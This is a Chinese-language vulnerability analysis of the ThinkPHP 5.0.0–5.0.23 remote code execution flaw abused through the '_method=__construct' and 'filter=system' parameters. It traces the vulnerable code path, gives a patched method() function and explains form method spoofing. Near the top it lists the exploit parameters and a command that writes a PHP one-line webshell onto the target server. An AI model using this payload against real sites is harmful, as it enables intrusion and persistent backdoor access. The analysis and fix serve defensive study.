有这样一个表单:

_method参数的值必须为“__construct”,filter参数的值必须为“system”。其他参数名不重要,提交的URL指向tp框架的入口文件即可。

给参数a赋值:
echo ^<?php @eval($_GET["code"])?^>>UF/shell.php
提交,
这样就可以在目标网站上植入一句话木马。


产生漏洞的原因:
此漏洞必须是在调试模式下才会产生。
1)看\think\App下的run静态方法代码:

\think\Request下的代码:

TP采用filter对请求参数进行过滤,默认的filter在config.php中为空字符串,TP首先会设置默认的过滤函数。
当前Request对象已在\think\App的run静态方法下创建,Request对象的filter属性默认是空字符串。
2)run方法往下运行,会执行routeCheck方法

再执行\think\Route check方法

再执行\think\Request类下method方法

TP框架配置文件中有这个参数
// 表单请求类型伪装变量 'var_method' => '_method',
在这个参数默认不修改的情况下,$_POST[Config::get('var_method')]的值是“__construct”。看510行,这等于代码是:
$this->_construct($_POST);
构造方法__construct再次被调用(因为在\think\App::run方法实例化Request对象时已调用过),参数是$_POST。
看下Request类的构造方法:

134行:Request对象的filter属性被赋值为“system”。
3)返回到\think\App::run方法

当debug模式开启时,会记录请求信息,会调用$request->param()方法

继续input方法


过滤器变成了数组['system'],跟进array_walk_recursive函数

到此,应该能看明白一句话木马是靠system函数运行的
echo ^<?php @eval($_GET["code"])?^>>UF/shell.php
生成的。
4)TP在执行模块的过程中还会再一次设置默认filter,使得Request对象的filter属性再次成为空字符串。

当我们在控制器方法中再次调用post传入的参数a时,system函数不会再对参数a的值过滤。
修复方法:
不让Request对象filter属性赋值成功即可,可这样操作:

对_method参数值做好限定,并在处理_method之后将其unset。
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}受影响的TP版本:
ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23
其他介绍:什么是表单请求类型伪装?
<form method="post" action="">
<input type="text" name="name" value="Hello">
<input type="hidden" name="_method" value="PUT" >
<input type="submit" value="提交">
</form>如上表单,可以在POST表单里面提交_method变量,传入需要伪装的请求类型 ,该请求从客户端看来是POST请求,而服务器会将该请求识别PUT请求并进行处理,其中变量_method可以在application\config.php文件中进行修改。
// 表单请求类型伪装变量
'var_method' => '_method',该特性的作用:
安全防护 ,隐藏自己真实请求信息;
整合现有应用系统 ,例如现有的应用系统A的接口只接受put请求,而你的应用系统B只能发起post请求。